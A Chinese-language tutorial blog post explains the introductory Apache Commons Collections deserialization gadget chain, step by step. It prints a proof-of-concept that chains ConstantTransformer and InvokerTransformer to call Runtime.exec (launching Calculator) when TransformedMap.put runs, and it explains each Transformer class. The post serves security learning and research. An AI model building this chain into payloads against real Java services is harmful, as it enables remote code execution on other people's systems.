CC0
这是phith0n自创的入门cc链
由于手头的mac有安全限制 小改了一下InvokerTransformer 本质不变
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package com.govuln.deserialization;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap; import java.util.Map;
public class CommonsCollectionsIntro { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ "open -a Calculator" } )
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("test", "xxxx"); } }
|

分析一下这条链子
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。
我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:
1 2 3 4 5 6 7 8 9 10 11 12
| # 定义 public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { private static final long serialVersionUID = 7023152376788900464L; protected final Transformer keyTransformer; protected final Transformer valueTransformer; public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } }
# 调用 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
|
- keyTransformer是处理新元素的Key的回调
- valueTransformer是处理新元素的value的回调
这⾥所说的”回调”,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类
回调不是 Java 独有的概念,它就是一个约定:
“你把你的处理逻辑(一个对象)交给我,当特定的事情发生时,我会调用你的逻辑来处理。”
在 CC 链里,这个约定就是 Transformer 接口:
- 你给我的就是一个
Transformer 实例。
- 当 Map 需要转换新元素时,我就调这个实例的
transform 方法。
- 至于
transform 里具体做什么,那是你这个实例自己的事。
这样,TransformedMap 不需要知道你会执行命令还是只是返回一个字符串,它只需要遵守约定:“有事我就调 transform”。
Transformer是一个接口 只有一个待实现的方法
1 2 3
| public interface Transformer { public Object transform(Object input); }
|
TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个”回调函数“,这个回调的参数是原始对象
ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回:
1 2 3 4 5 6 7
| public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; }
|
所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作
InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键。
在实例化这个InvokerTransformer时,需要传⼊三个参数
第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
# 后⾯的回调transform⽅法,就是执⾏了input对象的iMethodName⽅法
public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); }
|
ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。
通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
Map.put() –> ChainedTransformer –> ConstantTransformer.transform()–> ChainedTransformer –> ConstantTransformer.transform() –> Output
1 2 3 4 5 6 7 8 9 10 11
| public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; }
public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
|
了解了这些 回过头来看payload
06.完整流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public class CommonsCollectionsIntro { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ "shell" } )
}; # I. Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); # II. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); # III. outerMap.put("test", "xxxx"); } }
|
I. 创建了⼀个ChainedTransformer, 里面包含两个Transformer实例: ContantTrasnformer与InvokerTransformer;
Contantransformer 直接返回当前环境的Runtime对象
InvokerTransformer 执⾏Runtime对象的exec⽅法 参数是我们准备的payload
II. 这个transformerChain只是⼀系列回调,使⽤TransformedMap.decorate包装innerMap
III. 将Map中放入一个元素,触发回调
TransformedMap 内部方法 transformValue在 put 时被自动调用。这个方法会去调给他的那个 valueTransformer 的 transform。 就是回调:
- Map 的
put 事件触发了“转换 value”的行为。
- 而转换的具体做法,是通过
Transformer 对象“塞”进去的。
1
| Object newValue = transformerChain.transform("xxxx");
|
